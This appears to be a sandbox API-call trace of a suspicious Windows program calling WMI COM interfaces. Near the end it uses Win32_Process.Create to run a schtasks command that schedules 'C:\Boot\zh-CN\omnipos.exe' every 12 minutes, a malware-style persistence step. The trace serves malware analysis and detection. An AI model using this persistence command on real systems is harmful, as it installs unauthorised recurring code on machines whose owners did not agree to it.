IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0089.515] IUnknown:Release (This=0x111f638) returned 0x1 [0089.516] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c001260) returned 0x0 [0089.517] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001260, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0089.517] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001260, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea00b0) returned 0x0 [0089.517] WbemDefPath:IUnknown:Release (This=0x1c001260) returned 0x0 [0089.517] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea00b0) returned 0x0 [0089.517] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0089.517] WbemDefPath:IUnknown:AddRef (This=0x1bea00b0) returned 0x3 [0089.517] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0089.517] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0089.517] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c0011a0) returned 0x0 [0089.517] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0011a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.517] WbemDefPath:IUnknown:Release (This=0x1c0011a0) returned 0x3 [0089.517] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0089.517] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0089.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0089.518] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x2 [0089.518] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x1 [0089.518] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0089.518] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0089.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea00b0) returned 0x0 [0089.518] WbemDefPath:IUnknown:AddRef (This=0x1bea00b0) returned 0x3 [0089.518] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x2 [0089.518] WbemDefPath:IWbemPath:SetText (This=0x1bea00b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0089.518] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0089.518] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0089.518] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.518] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0089.518] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0089.518] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0089.518] IUnknown:Release (This=0x111f638) returned 0x1 [0089.520] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0011e0) returned 0x0 [0089.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0011e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0089.520] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0011e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119c260) returned 0x0 [0089.520] WbemDefPath:IUnknown:Release (This=0x1c0011e0) returned 0x0 [0089.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119c260) returned 0x0 [0089.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0089.522] WbemDefPath:IUnknown:AddRef (This=0x119c260) returned 0x3 [0089.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0089.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0089.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c001120) returned 0x0 [0089.522] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001120, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.522] WbemDefPath:IUnknown:Release (This=0x1c001120) returned 0x3 [0089.522] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0089.523] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0089.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0089.523] WbemDefPath:IUnknown:Release (This=0x119c260) returned 0x2 [0089.523] WbemDefPath:IUnknown:Release (This=0x119c260) returned 0x1 [0089.523] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0089.523] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0089.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119c260) returned 0x0 [0089.523] WbemDefPath:IUnknown:AddRef (This=0x119c260) returned 0x3 [0089.523] WbemDefPath:IUnknown:Release (This=0x119c260) returned 0x2 [0089.523] WbemDefPath:IWbemPath:SetText (This=0x119c260, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea00b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c260, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0089.523] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea00b0) returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c260, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119c260, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119c260, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0089.523] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea00b0, uIndex=0x0, pszName="root") returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119c260, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119c260, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0089.523] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea00b0, uIndex=0x1, pszName="cimv2") returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetServer (in: This=0x119c260, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0089.523] WbemDefPath:IWbemPath:GetServer (in: This=0x119c260, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea00b0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea00b0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea00b0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea00b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetText (in: This=0x1bea00b0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetText (in: This=0x1bea00b0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetText (in: This=0x1bea00b0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0089.524] WbemDefPath:IWbemPath:GetText (in: This=0x1bea00b0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0089.524] IWbemServices:GetObject (in: This=0x1bf538a0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11ee9e0, ppCallResult=0x0) returned 0x0 [0089.528] IWbemClassObject:GetMethod (in: This=0x11ee9e0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11eed50, ppOutSignature=0x1b2fd9e0*=0x11ef0c0) returned 0x0 [0089.528] IWbemClassObject:SpawnInstance (in: This=0x11eed50, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf468d0) returned 0x0 [0089.529] IWbemClassObject:Get (in: This=0x1bf468d0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a094e8*=0, plFlavor=0x2a094ec*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a094e8*=8, plFlavor=0x2a094ec*=32) returned 0x0 [0089.529] IWbemClassObject:Get (in: This=0x1bf468d0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a094e8*=8, plFlavor=0x2a094ec*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a094e8*=8, plFlavor=0x2a094ec*=32) returned 0x0 [0089.529] IWbemClassObject:Put (This=0x1bf468d0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0089.529] IWbemClassObject:Get (in: This=0x1bf468d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a09578*=0, plFlavor=0x2a0957c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a09578*=13, plFlavor=0x2a0957c*=32) returned 0x0 [0089.529] IWbemClassObject:Get (in: This=0x1bf468d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a09578*=13, plFlavor=0x2a0957c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a09578*=13, plFlavor=0x2a0957c*=32) returned 0x0 [0089.530] IUnknown:QueryInterface (in: This=0x11ee300, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11ee300) returned 0x0 [0089.530] IUnknown:QueryInterface (in: This=0x11ee300, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0089.530] IUnknown:QueryInterface (in: This=0x11ee300, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0089.530] IUnknown:AddRef (This=0x11ee300) returned 0x3 [0089.530] IUnknown:QueryInterface (in: This=0x11ee300, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0089.530] IUnknown:QueryInterface (in: This=0x11ee300, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0089.530] IUnknown:QueryInterface (in: This=0x11ee300, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11ee308) returned 0x0 [0089.530] IMarshal:GetUnmarshalClass (in: This=0x11ee308, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0089.530] IUnknown:Release (This=0x11ee308) returned 0x3 [0089.530] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0089.530] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0089.530] IUnknown:QueryInterface (in: This=0x11ee300, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0089.530] IUnknown:Release (This=0x11ee300) returned 0x2 [0089.531] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0089.531] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0089.531] IUnknown:QueryInterface (in: This=0x11ee300, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0089.531] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0089.531] IUnknown:QueryInterface (in: This=0x11ee300, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0089.531] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0089.531] IUnknown:AddRef (This=0x11ee300) returned 0x3 [0089.531] IWbemClassObject:Put (This=0x1bf468d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ee300, varVal2=0x0), Type=0) returned 0x0 [0089.531] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0530, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0089.531] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0089.531] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0089.532] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0089.532] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0089.532] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 